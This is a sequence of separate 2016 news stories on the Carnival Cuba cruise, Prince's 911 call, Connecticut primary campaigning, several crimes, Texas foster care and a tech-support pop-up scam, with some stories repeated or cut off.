In Havana, Cuban state media said the change is part of a broader shift in policy that removes many of the prohibitions on Cubans traveling by ship. Those prohibitions were put in place in response to Cuban exiles launching attacks from the water in the first years after the Cuban revolution.

The Cuban government said people born in Cuba will now be able to travel as passengers and crew on merchant ships and cruise ships, and will eventually be allowed on board yachts as both passengers and crew. The announcement does not specifically mention ferries.

Carnival originally adhered to Cuba's longstanding previous policy by preventing Cuban exiles from booking passage on the cruise, sparking protests by Cuban-Americans outside the company's Doral headquarters, criticism from Secretary of State John Kerry and local politicians and a federal lawsuit that claimed discrimination.

Miami-Dade County Mayor Carlos Gimenez, a Cuban-American who had questioned the previous Carnival policy, said Carnival Chairman Micky Arison called him Friday about the agreement. Arison also owns the NBA's Miami Heat.

"This policy change was the right thing to do, and I congratulate both Mr. Arison and Carnival on their efforts in what is probably one of the very few times that a corporation has successfully negotiated the changing of a policy with the Cuban government," Gimenez said in a statement.

Beginning May 1, the Fathom will visit the ports of Havana, Cienfuegos and Santiago de Cuba. Carnival says bookings will start at $1,800 per person and feature an array of cultural and educational activities, including Spanish lessons.

The cruise is among the many changes in U.S.-Cuban relations since a thaw between the old Cold War foes began in late 2014.

Carnival is the world's largest cruise line, operating 10 brands with 100 ships that visit 700 ports worldwide, according to the company.

The 704-passenger Adonia plans to sail every other week to three Cuban ports: Havana, Cienfuegos and Santiago de Cuba. Cruise prices for the seven-day sailing start at $1,800 per person, excluding Cuban visas, taxes, fees and port expenses.

To learn more, visit Fathom's Cruise to Cuba page.
A transcript of the 911 call from Prince's suburban Minneapolis compound shows confusion as an unidentified caller struggles to give the dispatcher the proper address.

The caller said he was at "Prince's house" but first placed it in Minneapolis. Another person at the compound eventually gave the correct address in the suburb of Chanhassen.

The caller first says he has "someone who is unconscious" before saying "the person is dead here."

As the dispatcher identifies the address as Paisley Park and begins to ask a question, the caller interrupts to say, "Yes, it's Prince." Read the entire document below.

Authorities are investigating the death Thursday of the 57-year-old musician. Deputies who were summoned to a medical emergency found him in an elevator, unresponsive, and CPR failed, authorities said.

The Midwest Medical Examiners Office in Ramsey, Minnesota, tweeted that it has received Prince's body. An autopsy is scheduled for Friday.

Medical examiners have received Prince's body and plan to perform an autopsy.

Prince's death at age 57 has sparked an outpouring of grief from fans, with hundreds gathering outside his studio and in downtown Minneapolis and many more posting remembrances on social networks.
Presidential candidates Donald Trump and Hillary Clinton will both be back in Connecticut this weekend, according to Bridgeport city officials.

Trump, a Republican presidential candidate, will be at Klein Memorial Auditorium on Fairfield Avenue in Bridgeport from 12:30 p.m. to 2 p.m., city officials said.

This comes after he visits Crosby High School in Waterbury at 10 a.m. on Saturday.

Clinton will be attending a church service in Bridgeport on Sunday morning, Bridgeport officials said, but no information was available on when or exactly where.

Republican candidate Gov. John Kasich will be in Glastonbury on Friday.

According to the New Haven mayor, Bernie Sanders' campaign reached out to the city about setting up a rally in the city, but nothing has been scheduled.

"We are still exploring options to figure out what is the best route to take to get the senator to all five states voting on Tuesday and get him in front of as many people as possible," Warren Gill, Sander's regional press secretary said in an emailed statement.

Thousands of people gathered last Friday in Hartford when Trump held a campaign rally and Clinton made her own campaign stop in Hartford today, where she discussed gun violence.

Former president Bill Clinton might be going to Bridgeport on Friday night or Saturday, but no information was available on exactly when or where.

Connecticut's primaries will be on April 26.
A school employee allegedly punched her boss in the face and even threw a cup of coffee at them after she was approached for being late to work, Southington Police said.

Melinda Chantea Fisher, 29, of Wallingford, has been charged with third-degree assault and second-degree breach of peace after police said she assaulted her boss.

On Thursday, April 19, Fisher, a district-wide technology assistant, allegedly attacked her supervisor after she was approached about being late to work at the South End Elementary School on Noble Drive just after 8:30 a.m.

Police said Fisher punched the victim in the face, threw coffee at them, chased the victim, kicked them on the ground and tried banging their head against a wall.

Staff members observing the incident intervened and pulled Fisher off the supervisor. The victim was transported to the hospital.

The school was placed in secure school mode for a "short time", police said.

Fisher's bond was set at $1,500 and she was released. She appeared in court on Monday and is due back in court on June 3.
A former Brookfield psychiatrist is accused of having a sexual relationship with an adult patient and has been arrested.

Paul L. Fox, 64, who now lives in Peaks Island, Maine, was arrested on Wednesday and charged with three counts of second-degree sexual assault.

Police said he is accused of committing the crimes between October 2010 and October 2011, while he was a practicing psychiatrist in Brookfield.

Department of Public Health documents posted online say a doctor by the name of Paul L. Fox, who practiced in Brookfield, voluntarily surrendered his license to practice medicine in Connecticut in July 2012.

Fox waived extradition from Maine and posted a $100,000 bond.

He is due in Danbury Superior Court on May 3.
Democratic presidential candidate Hillary Clinton made a campaign stop in Hartford on Thursday, where she held a panel discussion on gun violence, and she will be in Connecticut on Saturday and Sunday as well.

She will campaign in New Haven on Saturday, according to her campaign, and she will hold a public event in Bridgeport on Sunday.

Clinton will be discussing her plans to raise incomes for families and break down the barriers that hold Americans back, her campaign said.

Officials from Bridgeport said Clinton will be attending a church service in Bridgeport on Sunday morning, but no information was available on when or exactly where.

The primary is on Tuesday and Connecticut will be getting several political visits.

Democratic candidate Bernie Sanders is expected in Connecticut on Monday. Sources said he will be in Hartford.

New Haven officials said the city has issued a permit for the Sanders campaign to hold an event Sunday evening on the New haven Green, but they said they cannot speak for the campaign.

Ohio Governor and Republican presidential candidate John Kasich will be in Connecticut today. He will be at Glastonbury High School for a 5:30 p.m. event.

Republican presidential candidate Donald Trump appeared in Hartford last week and will be in Waterbury and Bridgeport on Saturday morning.
The Cleveland State Community College Psychology Department hosted a Psychology and Religion Panel Discussion. The discussion was a conclusion to the colleges Psychology Lecture Series that has included a number of speakers since February.



This has been a fantastic experience both for our students and the college, said Matthew Tolbert, associate professor of psychology. The scholars we invited were exceptional, both in their expertise and their presentations, and we are grateful they were willing to take time to provide deeper learning experiences for our students. Additionally, we believe building relationships with the regional institutions our students choose to attend after graduating from Cleveland State only serves to benefit our students ability to continue their education. We hope to provide more events like this in the future.



Speakers for the lecture series included Dr. Adolphus (Dick) Pelley of Tennessee Wesleyan, who spoke on Psychological Disorders in Childhood; Robert Coombs of Southern Adventist University, who spoke on Conceptualizing Healthy Relationships and Dr. Bob Fisher of Lee University, who discussed Language and the Brain.



Panelists for the panel discussion included Dr. Ralph Hood, professor of Psychology, UTC; Dr. Michele Wollert, coordinator of Academic Advising and Transcript Articulation, CSCC; and Dr. Clark Rose, professor of Psychology and chair, Department of Psychology, Bryan College. The panel discussion was moderated by Dr. Liz Moseley, associate professor of Psychology, CSCC.



Questions from the panel were:

? How does religion impact your practice of psychology?

? Do you interpret religion through psychology or psychology through religion?

? How does the belief in God affect a child developmentally?

? How do you differentiate spirituality and religion?



In addition to these questions, the panelists were asked to give a final statement regarding what they wanted students to remember about the topic of Psychology and Religion. Dr. Hood emphasized that Psychology and Religion should be considered as equal contributors to human experience and not that one is more important or better than the other. Dr. Wollert emphasized the importance of each person searching for and finding what gives them meaning. Dr, Rose emphasized the importance of loving God and treating those around us with love and respect.



I feel that it is very important that we build relationships with all of the institutions in our area where our students transfer, said Dr. Tolbert. Thats why I decided to do this lecture series so our students could not only hear from local experts about deeper psychological topics, but they could also hear about the psychology departments at these four-year institutions.



Both Dr. Hood and Dr. Rose were able to plug their respective institutions. Dr. Hood stated that he thought it wonderful that students could get a two year degree from Cleveland State before coming to UTC and he recommends doing so. He emphasized that if a student comes to UTC, he or she will be able to finish their baccalaureate degree in two years. Dr. Rose stated that Bryan College is a fully accredited institution and offers a baccalaureate degree in psychology. He stated that Bryan College is a faith-based institution that will provide an atmosphere of spiritual growth as well as academic education.






Everywhere Hillary Clinton goes lately, it seems, amounts to a homecoming of sorts.

The Democratic presidential candidate's winning primary campaign in New York was filled with stops throughout the state she calls home, having represented it in the Senate. Before she arrived at a rally in Scranton, Pennsylvania, on Friday night, the city's mayor praised her as a "local woman who made it big."

On Saturday, she joined families at a doughnut shop in New Haven, Connecticut, a few blocks from Yale University, where she attended law school and met her future husband, President Bill Clinton. Clinton was introduced by Rep. Rosa DeLauro, D-Conn., who spoke of her ties to Yale and work on child welfare issues.

"You know New Haven," the congresswoman said, recalling that Clinton campaigned in 1992 with DeLauro's mother at Sally's Apizza, a local restaurant known for its thin crust pizza.

Looking to connect, Clinton often talks up her local ties, recounting stories from her past as a lawyer, child advocate, political spouse, lawmaker and diplomat that spans decades. She shared memories of growing up in Park Ridge, Illinois, during a rally in suburban Chicago before the state's primary. In Miami Beach, she met with workers at the famed Fontainebleu Hotel, waxing nostalgic about staying there as a young woman. In Texas, she recalled her work registering Latino voters in the Rio Grande Valley during the 1972 election.

Pennsylvania and Connecticut, two of the five states holding primaries on Tuesday, have both played a role in Clinton's upbringing.

Her father's family hailed from Pennsylvania: Clinton's grandfather worked in a Scranton lace mill and her father, Hugh Rodham, grew up there and played football at Penn State. Clinton often talks of happy memories at her family's summer cottage on nearby Lake Winola.

When she arrived in Scranton during dinnertime, Clinton stopped at a local Italian restaurant, Casa Bella, joined by her two brothers, Hugh and Tony Rodham. Walking among the tables, diners reminded her of her family ties.

"I met people who said things to me like, 'I knew your cousins. I knew your uncles.' I had one man say, 'Didn't we sled down Court Street one winter?'" Clinton said at a rally in nearby Dunmore. "It just brings back a flood of the best memories and the best people."

Connecticut was the training ground of Clinton's legal career and her work as a child advocate. At an event to discuss the minimum wage and equal pay, Clinton spoke of her "great affection for New Haven" and recalled making the rounds with doctors at Yale-New Haven Hospital to help abused children.

"I loved living here and I'm also impressed with the changes," Clinton said, telling the city's mayor, Toni Harp, "I want to be a good partner to you and the people of this state."
Ohio Gov. John Kasich told Connecticut residents on Friday he's seeing signs some Republican presidential primary voters in states that already voted may have second thoughts about supporting front-runner Donald Trump and now want him to be to the party's nominee instead.

"These polls that show turnarounds and people having buyer's remorse are very interesting," Kasich told reporters following a town hall meeting at Glastonbury High School's gymnasium that drew more than 1,000 people.

He pointed to new polling that shows more New Hampshire primary voters now support him than support Trump, who won that state back in February.

Kasich urged the crowd to help him win some of the state's 28 delegates at Tuesday's primary so he can have greater standing at the national convention in July.

"No one is going to have enough delegates, and we're all going to learn about how we pick a president, and I think it will be very interesting," Kasich told the crowd. "Make sure that you get out and vote and allow me to win delegates in the district in which you live so I can go to the convention in a strong position."

Connecticut is one of five states holding presidential primaries on Tuesday. A Quinnipiac University Poll shows Kasich trailing Trump 48 percent to 28 percent, with 19 percent supporting Texas U.S. Sen. Ted Cruz. Kasich receives more support from younger voters, 18- to 44-years-old, compared with Trump and Cruz. The poll's margin of sampling error is 3.4 percentage points.

State Sen. Tony Hwang, R-Fairfield, chairman of Kasich's campaign in Connecticut, predicted the state could ultimately prove very helpful to his candidate, who has the backing of many of the state's top Republicans past and present.

"Connecticut for the first time in a long time will matter in the presidential primary," Hwang said. "I think if he doesn't win, he will make a strong showing and he will finish a strong second ahead of Cruz. And the reality is it will be an opportunity to get to the convention."

Hwang said Connecticut Republicans can relate to Kasich's record as governor of Ohio. He credited Kasich with protecting the state's social safety net while addressing a massive budget deficit. Connecticut's new fiscal year is projected to be nearly $1 billion in the red.

"He took over a state and in four years turned it around, crated jobs, balanced the budget as he has done in Congress," Hwang said. "This is not just a person who talks about what he's going to do, he has done it, and he has done it in a manner that the state of Connecticut  in its current fiscal crisis  can completely relate to."

Kasich's campaign is trying to capitalize on that message, announcing Friday it will run its first television ad in Connecticut touting his record as a governor and former member of Congress.

Friday night's town hall was the second Kasich has held in Connecticut. He relayed the story of his life and spoke about the need for the country to rally together to solve its problems. He made no mention of the shootings in rural Ohio that left eight members of a family dead. He later told reporters that if he's needed he will leave the campaign trail and return home.
A man suspected of abducting his ex-girlfriend in West Hartford before she was able to escape at a gas station in Milford has been extradited from New Jersey to Connecticut to face charges.

John Robinson, 46, of West Hartford, is accused of kidnapping his ex-girlfriend while the pair was at a home on Woodlawn Street in West Hartford just after midnight on Tuesday, April 12.

Robinson showed up at the woman's home, despite a restraining order and took her and her car after what appeared to be a violent, physical encounter, police said.

After "a lengthy period of time," police said the victim was able to get away while Robinson was getting gas at a rest stop along Interstate 95 South in Milford on Tuesday afternoon.

Robinson later turned himself into Newark, New Jersey. Police said he was driving the victim's vehicle.

Robinson has been charged with second-degree kidnapping, first-degree unlawful restraint, violating a restraining order, second-degree strangulation, third-degree larceny and third-degree criminal mischief.

He is being held on $450,000.
David Dunn was 12 when he went through what he calls the lonliest period of his life.

"I have Asperger's Syndrome. It's considered a form of high-functioning autism. It's on the autism spectrum. I've known I had it since I was 12. And for the longest time, I struggled with having it," he told NBC 5."It affected me in a really, really detrimental way."

Years later, he's coming to terms with the condition he now sees as less of a disorder and more of just who he is.

"On the one hand, you have this tunnel vision where you hyper-focus toward the subject you find interesting. It's made me mildly successful in my endeavors, and I'm appreciative of it, but reading social cues, maintaining relationships, making friendships, being introduced to new people, it's always gonna be a challenge," he said.

Dunn is a senior at UT Arlington where is he studying broadcast communications. He wants to go into film criticism or editorial writing when he graduates in May.

A column in the Dallas Morning News in March showed his ability to express himself and humanize a disorder he thinks is laughed at too often.

"Im lucky because Im considered high functioning. I tell people, 'I have Asperger's. And theyre like, 'Really? I had no idea you had that?' And theyre shocked. People who are on the middle ground of the autism spectrum, where its visible, they dont have a choice in hiding their condition, so why should I?" he said.

David expects autism to slow him down at some point.

"Some days it is gonna stop me," he said.

Yet he's determined to, "keep moving forward. Thats the only thing you can do. Its the instilled human spirit in everyone. If you want to live your fullest potential, you have to do that regardless if you have Aspergers or something else youre fighting in your life."

His words of wisdom go on: "But everyones dealing with something. You have to push through it. If not for yourself, then for the person next to you."
Dallas police handed over its investigation to the Dallas County District Attorneys office into an allegation that Dallas County commissioner John Wiley Price choked a staffer of an opponent.

Dallas police did not make an arrest and instead referred the case to a grand jury, officials said.

Read more on this story from our media partners at The Dallas Morning News.
When you're sitting in the comfort of home in front of your computer, you feel safe, but a Southlake woman said she believes her computer provided the open door for an intruder.

Kathy Richarme said she was home alone, settling in to watch a missed episode of one of her favorite shows on her laptop when the computer inexplicably stopped working and said she had been hacked.

"I did a Bing search and found several sites, and I clicked on it," she recalled. "A blue screen comes up and says there's something wrong with your computer. Your computer is infected. I couldn't close my computer. I couldn't close the site. I couldn't shut it down.

Richarme said the pop-up gave an 800 number for her to call.

"I asked the company and he said they were Microsoft-authorized," she said. "But I thought, given the sheet that was on my screen, I was speaking to Microsoft tech support."

She said she was told her computer had been hacked by criminals in Mexico, Russia and the Philippines

"And then he came up with a screen to show how many viruses were on my computer due to these hacks," Richarme said. "He told me 5,280."

The man from a company called Zavions asked Richarme for access to her computer to fix it and charged her credit card $400. When she told her husband, he was skeptical and called the company.

"He said they are the master computer of the Internet," he recalled, chuckling. Zavions refused to give him a full refund, so he contacted NBC 5 Responds.

Zavions LLC has an F rating with the Better Business Bureau because of unresolved consumer complaints very similar to Richarme's. The company argues the rating may be a mistake and blames Kathy's experience on a misunderstanding.

In an awkwardly worded statement, a spokesman wrote:

"When customers have virus we do educate our customers about them and i think there must have been some miss communication because of which customer was in a impression that her computer is being hacked."

The spokesman acknowledged that the companys marketing agency was responsible for locking up Richarmes computer and displaying a pop-up add with Zavions phone number, but he argued customers are told that Zavions is independent and not affiliated with Microsoft. Zavions provides customers with a document stating such, which Richarme signed.

Richarme, though, said she already has anti-virus software and was coerced into buying a service she didn't need.

"It's very scary for me, and I feel certain that I'm not the only one that this has happened to, said Kathy.

After NBC 5 Responds contacted Zavions, Richarme received a full refund. The companys operations manager said company will offer anyone a refund in 30 days if the customer is not satisfied with their service.

Microsoft sent the following statement:

"Customers will never receive a call from Microsoft or our partners asking for a credit card number to charge for computer fixes. Cybercriminals often use the names of well-known companies, like Microsoft, to convince people their services are legitimate."

The NBC 5 Responds team has this advice:
Dozens of foster parents packed a town hall meeting in Fort Worth Thursday evening amid complaints that Texas isn't properly caring for abused and neglected children.

The agency in charge of caring for children, Child Protective Services, is accused of not investigating allegations that a Grand Prairie girl was abused. She later died.

A recent federal court ruling blasted the state's foster care system, calling it inhumane and saying children "often age out of care more damaged than when they entered."

One of those at Thursday's town hall was foster mother Cori Long.

"If I can help a kid for the rest of their life, that's what I want to do," she said.

Long has taken in four girls all under the age of four and has seen the problems in the system from the inside.

She says caseworkers are frustrated.

"They're overworked," she said. "They have big caseloads. They don't have enough time to devote all the kids that are coming into care that need help."

Problems at CPS have been in the spotlight since 4-year-old Leiliana Wright was found dead last month in Grand Prairie.

Police said she "was tied up in the closet with her wrists tied behind her back."

Her own mother and mother's boyfriend were charged in her death.

The girl's grandmother, Alisa Clakely, said she had reached out repeatedly for help and believes Leiliana's death could have been prevented.

"I called CPS, I called the governor, I called whoever I could," she said.

Two CPS workers were fired. A third resigned.

On Wednesday CPS officials pleaded for help themselves at a Senate hearing, saying workers are overwhelmed by high caseloads.

Last week, Gov. Greg Abbott appointed new leadership at the Department of Family and Protective Services.

State lawmakers are promising more changes.

"One child dead is way too many," said Rep. Matt Krause, a Republican whose district includes parts of Fort Worth and Arlington. "I think there's an urgency to ensure that doesn't happen again and I think everyone is on the same page, Republicans, Democrats, wherever you are. These children need to be protected. We need to get this right real soon."

Parents like Cori Long say it can't happen soon enough.

"I'm optimistic. I have to be," she said.
The switch from Verizon to Frontier has not been easy, and about one million Texas customers are affected.

The transition took place on April 1, and customers say it was like a bad April Fool's Day joke.

If you had Verizon phone, internet, or cable service, you now have Frontier. It's been three weeks, and the calls keep pouring into the NBC 5 Responds line. Our team has gotten 68 calls and emails about this issue alone.

One viewer, Amy, wrote, "Today we had a small power outage. When the power came on, we didn't have internet or TV."

So NBC 5 Responds called Frontier, and a technician was out the next day.

Amy then wrote, "I wanted to tell you, Kelly showed up at 10ish. Within 15 to 20 minutes she had everything up and running."

On Thursday, Frontier sent a statement, saying it is working around the clock to fix the problems.

"Our team of over 400 dedicated field technicians in Texas have successfully resolved the majority of conversion-related service disruptions and the level of reported issues is now trending at only slightly above normal levels. We continue to resolve specific conversion-related issues impacting less than 0.4 percent of our customers in Texas."

If you're having trouble with Frontier, call them at 800-921-8101 or you can try online at Frontier.com. You can also tweet them @askfrontier.

If reaching out to the company doesn't help, you can file a complaint with the FCC. You can always contact our NBC 5 Responds team at 844-5RESPND or 844-573-7763.
Houston police say a good Samaritan has been fatally shot while trying to protect a woman as her boyfriend allegedly attacked her.

Police said the boyfriend, 18-year-old Hector Henriquez of Houston, was being held without bond on a murder charge after Friday's shooting.

Investigators said the slain man, whose name wasn't immediately released, did not know the couple.

Houston police said the man who intervened was in his vehicle when he saw Henriquez beat the woman in a disturbance along a street. Investigators said Henriquez pulled a gun and shot the man, who died later at a hospital.

Henriquez ran but was caught hiding under a nearby bridge. Attorney information wasn't immediately available for him.

Police didn't immediately provide additional details on the woman.
Wysong Tree Service is providing the noon lunch for the Chattanooga Police Department on Friday at the Police Service Center.



Daniel Wysong, who started the tree service eight years ago, said, "As a local businessman and parent, I am invested in Chattanooga. Today, I am here at the Police Service Center to express support for our officers by providing them free pizza. As a Marine combat veteran, I know what it is like to put on a uniform and risk life and limb.The members of the Chattanooga Police Department do the same every day, and we ought to stand with them."



Mr. Wysong served as a sergeant with the United States Marine Corps 4th Combat Engineer Battalion. He served both in Iraq and Afghanistan, and his unit was tasked with the job of locating IEDs.



Mr. Wysong and four of his brothers run Wysong Tree Service.

Matthew Wysong stated, "I have been appalled at the amount of violence that our police force is now having to deal with. Often people on the front lines who face criticism feel unappreciated and alone in the difficult job they do. We wanted to let these officers know by our actions that there are thousands of good and decent Chattanoogans standing with them. This luncheon is a simple token to show our appreciation."
An off-duty Central Texas police officer gave a teenage runaway a ride to Austin about 10 days before a college student was slain and the youth was later charged in the killing.

KVUE-TV and the Austin American-Statesman reported that Georgetown police said the officer broke no policies by helping 17-year-old Meechaiel Criner.

Criner remained in custody Friday, facing a murder charge in the death of University of Texas student Haruka Weiser. Her body was found April 5 in a creek.

Police said the officer, whose name wasn't released, stopped at a Georgetown-area store March 23 where Criner  who had blisters on his feet  had been for hours.

The officer, when he was off-duty, returned with his personal vehicle and drove Criner to a hospital near campus.
A sexual assault treatment program is getting a big boost from several foundations across the state, just as sexual assault numbers appear to be on the rise.

According to Texas Department of Public Safety crime statistics, the incidents of sexual assault rose 5.1-percent from 2013 to 2014.

Six years ago a donation to Texas Health Presybterian Dallas started the Sexual Assault Nurse Examiners (SANE) program in Dallas County. The program provides training to nurses to help in treating victims of sexual assault, certifying them in care through emotional support, crisis intervention, health assessments, treatments, and evidence collection.

The W.W. Caruther Jr. Foundation at Communities Foundation of Texas donated $2 million to start the program in 2010.

Earlier this month Texas Health announced the foundation was donating another $3.5 million to help expand the SANE program. The Moody Foundation is providing another $1.5 million.

The SANE program currently has adult services at Texas Health Prsybterian Dallas and Harris Hospital in Fort Worth. There are smaller program in Kaufman and Plano as well.

The new funding will support the addition of more staff and will expand the program fully to hospitals in Arlington, Denton, Kaufman and Stephenville.

There will also be mobile services available soon in Allen, Alliance Fort Worth, Azle, Cleburne, HEB and Southwest Fort Worth.A sexual assault treatment program will receive big boost from several foundations across the state as sexual assault numbers appear to be on the rise.

According to Texas Department of Public Safety crime statistics, the incidents of sexual assault rose 5.1 percent from 2013 to 2014.

Six years ago, a donation to Texas Health Presybterian Dallas started the Sexual Assault Nurse Examiners program in Dallas County. The program provides training to nurses to help treat victims of sexual assault.

The program certifies nurses in care through emotional support, crisis intervention, health assessments, treatments and evidence collection.

The W.W. Caruther Jr. Foundation at Communities Foundation of Texas donated $2 million to start the program in 2010.

Earlier this month, Texas Health announced the foundation was donating another $3.5 million to help expand the SANE program. The Moody Foundation is providing another $1.5 million.

The SANE program has adult services at Texas Health Presbyterian Hospital of Dallas and Texas Health Harris Methodist Hospital in Fort Worth. There are smaller program in Kaufman and Plano as well.

The new funding will support the addition of more staff and will expand the program fully to hospitals in Arlington, Denton, Kaufman and Stephenville. There will also be mobile services available soon in Allen, Alliance Fort Worth, Azle, Cleburne, HEB and Southwest Fort Worth.

The program will expand to all 16 North Texas counties where Texas Health has facilities.
The sister-in-law of a slain fitness instructor spoke with Dateline's Kerry Sanders Thursday, recalling how she and her family found out about the death of Missy Bevers and what they told her three daughters.

Kristi Stout, the sister of Bevers' husband Brandon, who was out of state on a fishing trip when his wife was killed inside a Midlothian church Monday morning, spoke at length with NBC News about her sister-in-law's death, the investigation into her murder and what may have led someone to kill the beloved mother of three.

Stout said her mother, Missy Bevers' mother-in-law, called her at about 5:30 a.m. Monday and said she'd been told Bevers had been in a crash. While she went to be with Bevers, she asked Stout to go to her brother's home and take care of the couple's three daughters.

Kristi Stout, the sister-in-law of a slain fitness instructor, spoke with Datelines Kerry Sanders Thursday, recalling how she and her family found out about the death of Missy Bevers and what they told her three daughters.

A short time later, Stout said she received another call.

"An officer called my brother and said that Missy had passed," Stout said.

The girls would soon be up for school and with their father Brandon Bevers still returning from out of state, his mother and sister told the girls their mother had died.

"My mom, myself, my stepdad and my aunt and uncle went over there and we woke them up out of the bed," Stout said. "We told the girls what we were told originally. It was the most awful nightmare you could ever imagine, telling three kids they don't have a mother anymore."

It wasn't until later that police told the family that Bevers had been assaulted and died inside the church.

Missy Bevers mother-in-law is speaking out after the 45-year-old woman was found killed in a Midlothian church Monday morning.

"I think we're really still in shock," said Marsha Tucker, Missy Bevers' mother-in-law. "I don't know if it's even hit us."

"I know a lot of people suspect the husband, so many times, but this is not the case," said Tucker. "I know that they have questioned him, looked at their phones."

In a search warrant released Thursday, police said Bevers died of a visible head wound. The Dallas County medical examiner completed an autopsy on Bevers Tuesday, but police are not releasing her specific cause of death citing the ongoing investigation.

A review of surveillance video recorded inside the church revealed the presence of another person inside the church an hour before Bevers' arrival. The person was described as wearing black, police-like clothing. Police originally thought the person was a man, but backed away from that assertion Tuesday afternoon.

"If she saw that guy that looked like a policeman, she probably thought, she probably felt safe, you know, like most people would," said Tucker.

The investigation into Bevers' death is being conducted by the Midlothian Police Department with the assistance of the Texas Rangers, FBI and ATF.

It is not yet known when the Dateline special on the death of Missy Bevers will be broadcast.

NBC 5's Kevin Cokely contributed to this report.
President Barack Obama said North Carolina's law that limits anti-discrimination protections for lesbian, gay and transgender people is wrong should be overturned.

Obama criticized the state law and others targeting the LGBT community, including forthcoming legislation in Mississippi, during a news conference in London.

"I... think that the laws that have been passed there are wrong and should be overturned," Obama said Friday. "They're in response to politics, in part; in part, strong emotions that are generated by people  some of whom are good people  but I disagree with [them] when it comes to respecting the equal rights of all people, regardless of sexual orientation."

The president's comments came after the U.K. put out a travel advisory warning British citizens about possible discrimination if they travel to certain U.S. states.

"Our view on any of these things is we believe we should be trying to use law to end discrimination rather than embed or enhance it," said British Prime Minister David Cameron, who spoke alongside Obama.

Obama said Americans in those states are "wonderful people" and that British citizens should feel free to come and enjoy themselves. He said they'll be treated with "extraordinary hospitality."

Obama said the U.S. isn't unique in having a federal system where states can make their own policies.
An East Bay man accused of burning a rainbow flag has been arrested on suspicion of a hate crime, police said.

The alleged hate crime occurred at the Clayton Valley Presbyterian Church and is part of recent vandalism surrounding the Rainbow flag.

"I am surprised and angry as I can be, while keeping a Christian attitude about the whole thing," parishioner Dale Scovill said.

Scovill said the flag has been taken down eight times in the past six months, including three times this week.

On Tuesday, the flag was taken down and burned, according to Pastor Barbara Barkley. A note written in Spanish was also found during the suspected hate crime.

Barkley said the message said "all evil will be eradicated." It is a message she said is filled with hate, but her church is about forgiveness.

"We are a church that professes openness and inclusion," Barkley said. "We will continue to be so."

Police were called on Tuesday after someone noticed a man taking down the flag. Police said they arrested Concord-resident John James Hurst a block away from the church.

Hurst is being charged with a hate crime, two counts of arson, petty theft and vandalism, police said.

An investigation is ongoing.
Two former social workers and their supervisors were in court Thursday, but did not enter pleas to charges of child abuse and falsifying records involving the death of an 8-year-old Palmdale boy whose mother and her boyfriend are accused of torturing and murdering him.



Arraignment was rescheduled to June 2 for Los Angeles County social workers Stefanie Rodriguez, 31, and Patricia Clement, 65, and supervisors Kevin Bom, 36, and Gregory Merritt, 60, who were all charged March 28 with one felony count each of child abuse and falsifying public records.



The four were released on bond earlier this month after their initial court appearance April 9 in connection with the charges, which stem from the May 24, 2013, death of Gabriel Fernandez. When he died, the boy had a fractured skull, several broken ribs and had burns over his body, prosecutors said.



The boy's mother, Pearl Fernandez, 32, and then-boyfriend, Isauro Aguirre, 35, are charged with murder. Prosecutors announced last year that they would seek the death penalty against the two, who are awaiting a pretrial hearing May 24.



The case sparked a firestorm of criticism of the Los Angeles County Department of Children and Family Services over reports that the boy and his mother were repeatedly visited at their Palmdale home by social workers in response to abuse allegations, but he was never removed from the home.



Employees at the Antelope Valley Department of Children and Family Services office where the accused used to work rallied in solidarity on Thursday with the accused.

"I retired from there," said Darlene Starr, a former social worker. "I know the system and the system is very flawed."



Some argue social workers' large case loads and other problems demonstrate the bigger issues at the Department of Children and Family Services or with the Los Angeles County Sheriff's Department whose deputies visited Gabriel's home.



"I am not saying there weren't some errors made but the errors were made for what they knew," Starr said.



Prosecutors said dozens of complaints and welfare investigations and Gabriel was left with his mother and her then live-in boyfriend.

"Nobody saw red flags?" said Paola Pedraza, of Gabriel's Justice, a community group. "It's incredible."

Since Gabriel's death, the DCFS hired about 1,500 new social workers and revamped the training academy on dealing with abuse referrals.

"What happened to Gabriel is it horrific and we don't want it to keep happening to other children," said Pedraza.

Repercussions from this case are ongoing. One of the social workers accused, Kevin Bom, was most recently working for the San Bernadino Superior Court as a child custody counselor.



Since the criminal charges, family law attorneys such as Sherry Thompson are getting letters about their cases involving Bom.



"A report was done by Mr. Bom and the family court services sent us notification that we had to re-refer," she said, adding that it can be a struggle when dealing with children and families.



Court officials in San Bernardino said they are conducting an administrative investigation into Bom's employment.

The four accused will be back in court in June.
Pharmacy owners in the Inland Empire say theyre being targeted by thieves, looking for medications to steal from the big chains and small mom-and-pop stores alike.

After smashing through the front door at Cajon Pharmacy in Redlands last Friday, two burglars were caught on camera hurrying to the back of the store and stuffing trash bags with medications.

Even with the alarm blaring, the man and woman continued to ransack the store for two minutes, the fifth time the owner says the store has been robbed since Thanksgiving.

"You lose sleep over that every night. You think it can happen again and again, said owner Khalid Mahfouz.

Mahfouz said the burglars are looking for narcotic medication meant for patients.

"It's hurting the patients, it's hurting the business, he said. It shouldn't be this way."

Mahfouz has spent thousands of dollars replacing glass windows and doors. He also has an expensive security system, but nothing seems to stop the burglars so hes now going to install burglar bars around his business.

"I hate to do it. It's going to seem like a jail here."

The owner of American Surgical Pharmacy recently installed burglar bars. He said his San Bernardino business has been broken into three times since Christmas.

"It's cost me a ton of money," said Eric Clark.

Clark said burglars have stolen upward of $50,000 dollars worth of medication.

He also said he keeps track of pharmacy burglaries and estimates at least a dozen have happened in the Inland Empire over the past few months.

"Rancho Cucamonga, Fontana, and this is all since I found out about mine at Christmas."

Clark believes other pharmacies should also get burglar bars. Mahfouz agreed.

"That's it. It's the last resort."
One person was arrested in a hit-and-run crash Thursday night that killed a pedestrian in South Los Angeles, police said.

The collision was reported around 11:30 p.m. near the intersection of Slauson Avenue and Gramercy Place, according to the Los Angeles Police Department. Authorities found a man dead at the scene, according to the LAPD.

Police said the victim was walking in a marked crosswalk when he was struck and launched into the air.

The driver got out of the Kia Optima, but then got back in the vehicle and fled, police said. Police later located the vehicle in Inglewood near Hyde Park Boulevard and Eucalyptus Avenue.

"For someone to get killed in the cross zone, that's not right," said resident Edward Thompson.

Officers later found a person they believe was the driver, police said. The driver was found at a nearby apartment complex.

The victim was identified as a man in his 30s who might have been a transient, according to police.

Kevin Labeach contributed to this report.
You don't need to wear a corset, or a farthingale, or a ruff, or a doublet, to feel a connection to the time of William Shakespeare.

Nor must you unleash the occasional "thine" or "wherefore" to understand that the Bard's words, themes, notions, and world view still weave into our day-to-day fabric, whether we're catching some Shakespeare in the Park or simply watching a sitcom (which probably owes some of its internal rhythms to works created long ago).

